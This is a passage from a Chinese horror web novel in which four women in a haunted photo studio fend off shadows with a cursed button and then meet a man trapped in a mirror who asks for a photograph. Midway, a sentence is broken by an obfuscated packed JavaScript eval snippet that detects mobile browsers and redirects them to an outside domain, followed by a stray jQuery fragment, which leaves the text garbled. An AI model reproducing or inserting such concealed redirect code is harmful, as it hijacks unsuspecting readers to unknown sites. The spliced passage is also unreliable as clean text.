“规则!规则里根本没有提到这种情况!”林苏禾的声音因极度恐慌而变得尖锐。
前台后方,那只半透明的手臂并未出现。显然,这片正在蔓延的黑暗,并不属于它管辖的范围。
死亡的威胁以另一种形式降临了。被这些东西触碰到会怎样?精神污染?直接同化?还是触发更可怕的惩罚?
灯光疯狂闪烁,明暗交错间,扭曲的黑暗从墙壁、地板、角落不断渗出,越来越多。它们从四面八方缓缓逼近,将四人困住。
绝望之际,姜莱的目光再次死死锁定了那枚纽扣。
一个疯狂的念头在她的脑海中闪过:那个女人留下它,或许不是诅咒,而是一件工具?一件用来应对照相馆内规则之外的工具?
可是,使用它,需要付出怎样的代价?
没有时间犹豫了!
最近的那团阴影已蔓延至白及的脚边,几乎就要缠上她的脚踝。就在这瞬间,姜莱猛地伸出手,一把将那黑色纽扣紧紧攥入手心。
触碰到纽扣的瞬间,姜莱感觉到一种深入骨髓的阴冷钻入她的皮肤,那股寒意顺着她的手臂蔓延,仿佛要将她全身的血液冻结。
同时,无数混乱不堪,充满痛苦和绝望的意念,像钢针一般刺入她的脑海。
“啊!——”姜莱忍不住痛呼出声,剧烈的精神冲击几乎让她当场崩溃,手指下意识地就要松开。
但她用尽最后一丝意志力,反而更加死死地握紧了它。
就在她全力握紧纽扣的刹那。
以她为中心,一股无形的气流骤然扩散开来。那些正在逼近的阴影一滞,仿佛遇见了某种看不见的屏障,开始剧烈地扭曲翻滚。
紧接着,在剧烈闪烁的灯光下,姜莱以及她的同伴们惊恐地看见,那些阴影的表面,开始隐约浮现出模糊的五官轮廓。
那轮廓十分扭曲,应该是眼睛的地方出现两个空洞的漩涡,应该是嘴巴的地方就是一条撕裂的豁口!
这枚纽扣,无法驱逐或者消灭这些怪物,但是它似乎能强行将这些黑影短暂地拖住。
而就在这些可怕的脸浮现的瞬间,规则,被触发了。
那条深深植入她们脑海中的那条规则猛地浮现:
“拍摄时,绝对禁止直视客人的眼睛超过3秒。”
尽管这些黑影并非寻常的“客人”,但此刻,它们被重新赋予了“脸”的雏形,那空洞的漩涡,变成了规则意义上的“眼睛”。
“低头!都不要看它们的眼睛!”姜莱强忍着脑海中的刺痛,用尽全力嘶吼。
白及、林苏禾和季若桐瞬间反应过来,猛地低下头,死死地盯着地面,冷汗从额头滑落。
那些阴影似乎更加狂躁,翻滚愈发激烈,但它们仿佛被无形的锁链束缚,再也无法向前逼近半分。纽扣暂时构筑了一道脆弱的屏障。
双方陷入了一种诡异的僵持状态。
姜莱紧紧握着纽扣,感觉自己的意识正被其中蕴含的,那股庞大又混乱的意念不断侵蚀,身体越来越冷,牙齿开始打颤。
她不知道自己还能撑多久。
十几秒?还是几十秒?
终于,在一阵疯狂地扭曲之后,那些阴影开始不甘地向后退去,如同被什么无形的力量拉扯,缓缓渗入墙壁、地板和天花板的暗处,彻底消失不见。
疯狂闪烁的灯光逐渐平稳下来,照相馆再次恢复成了那种昏暗的状态。
馆内有尚未散尽的寒意还隐约萦绕在空气里。
扑通一声,林苏禾再也支撑不住,脱力地瘫坐在地上,大口喘着粗气。季若桐则是勉强扶住柜台,额头上全是冷汗。
姜莱像是被烫到一般,猛地松开手。
那枚黑色纽扣掉落在柜台上,发出了一声轻响,表面似乎比刚才更加黯淡。
而她握着纽扣的右手,从指尖到手腕,已经一片青紫,像是严重冻伤,并且完全失去了知觉。更可怕的是,那些混乱的意识碎片仍在她脑海中嗡嗡回响,带来一阵阵眩晕恶心。
代价……这便是使用它的代价。
四人惊魂未定地看着那枚小小的纽扣,眼中交织着恐惧与庆幸。它引来了灾难,却又在关键时刻,以一种诡异的方式成为了她们地救命稻草。
无脸女人留下的这枚纽扣,究竟是什么?
姜莱看着自己青紫麻木的右手,心中明白,这场生存的游戏,变得更加危险了。
右手那深入骨髓的麻木感持续了很久,青紫色的皮肤更是让人看着触目惊心。
白及从前台下方翻找出一个破旧的医药箱,里面只有几瓶过期的碘伏和些许泛黄的纱布。她想帮姜莱包扎伤口,却被阻止了。
她们都清楚,这不是普通的伤口,普通的处理毫无意义。
“这玩意儿……到底是个什么?”季若桐心有余悸地盯着纽扣,不敢靠得太近。
林苏禾起身,目光再次头像陈列架上那张空白照片,缓缓开口:“也许,我们搞错了一件事。”
三个人的视线同时集中在她身上。
“规则告诉我们,要满足客人的要求。那个无脸女人要求拍下她没有脸的样子。我们照做了,照片也洗出来了,一片空白。从规则上看,我们成功了,所以她离开了,甚至没有表现出不满意。”
“这枚纽扣是她主动留下来的。这不是小费,规则里并没有提到过这样的回报,那么这很可能是一种……交换。”姜莱忍着右手的刺痛和脑海里的杂音,接话道。
“交换?”季若桐一脸茫然。
“对,交换。我们按照她的意愿拍下她没有脸的证据。可她也许正是因为没有脸而感到痛苦。我们所做的,简直就像是……”
林苏禾话还没说完,季若桐便插嘴:“像是给已经去世的人,拍摄他们……临终前最后的模样。”
“没错。也许,她其实并不甘心就这样失去了自己的脸。”
这句话点醒了姜莱,她回忆着握住纽扣时,涌入脑海的那些破碎的意念:“我碰到它的时候……脑子里乱作一团。有很多撕裂的碎布、枯萎的鲜花,还有一种……被剥夺了什么的巨大痛苦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236006|175194||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
姜莱猛地抬头:“那个女人,她是不是……曾经也有过脸?!”
“没有人天生是没有脸的,她的脸一定是被某种力量剥夺了,就像是那个拼接男人,是被强行拼凑在一起,而她,也是被强行将脸抹平。”白及顺着这个思路往下推测。
“从纽扣上磨损的痕迹来看,它像不像是从一件旧衣服上,硬生生扯下来的?一件对于她来说,非常重要的衣服?”姜莱指向柜台。
合理的解释逐渐浮出水面:那枚纽扣很可能是无脸女人过去的一部分,是她被剥夺的“面孔”或者“身份”的某种象征性容器。它承载着女人的痛苦。
这枚纽扣很可能是一件,强大且极度危险的诅咒物。
“她把它留给我们,是因为我们帮了她,还是,她选择了我们?”季若桐问道。
“可能都不是,也许这本身就是她存在的一种方式。她自从失去脸之后,便开始散播这种承载着她痛苦的碎片。就像是蒲公英散播种子一样,为了不被遗忘……又或者是为了寻找些什么。”白及此时的脸色十分难看。
姜莱想起握住这枚纽扣时,除了痛苦,似乎还有一丝及其微弱的渴望。
“或许,她是在寻找答案,或者寻找那个让她失去面容的人?”
姜莱此时有了一个更大胆的猜测:“这枚纽扣,也许是开启某个隐藏任务或者剧情的关键道具。无脸女人无法表达,她只能通过这种方式,将线索交到能理解她痛苦的人手里。”
而她们阴差阳错地,接到了这个任务。
照相馆内的寒意尚未散去,就在这时,大门的方向并未传来脚步声,却响起了一种异样的声响。
一种清脆的,如同尖锐指甲划过玻璃的声音。
难道是客人已经来了?四人猛地抬头。
门口空无一人。
但那声音还在继续:叮……叮……叮……,带着某种令人牙酸的规律,一下又一下。
“在那里!”林苏禾声音发颤,指向了进门处侧面墙壁,那里挂着一面巨大的落地镜。
只见那面原本应该映照出馆内景象的镜子,此刻却异常地清晰明亮,仿佛被仔细地擦试过。
而镜中,站着一个“人”。
他穿着考究但样式古老的黑色礼服,头发梳得一丝不苟,脸上带着一种过于标准的微笑。他的姿态优雅,却带着一种怪异的僵硬感。此时他正抬起一只手,用食指指甲轻轻地叩击镜子的内面。
叮……叮……叮……
那令人不适的声音,竟是直接从镜子里传出来的!
“欢迎光临……”季若桐下意识念出迎客词,不知该如何面对这位困于镜中的客人。
镜中的男人停止了叩击。他的并没有开口,只是微笑的弧度扩大了一点。一个温和的声音直接在四个人的脑海中响起:
“日安,诸位。”
“请问,可以为我拍一张照片吗?”
“我希望,我能拥有一张,镜子外的我的影像。”
镜子外的……他?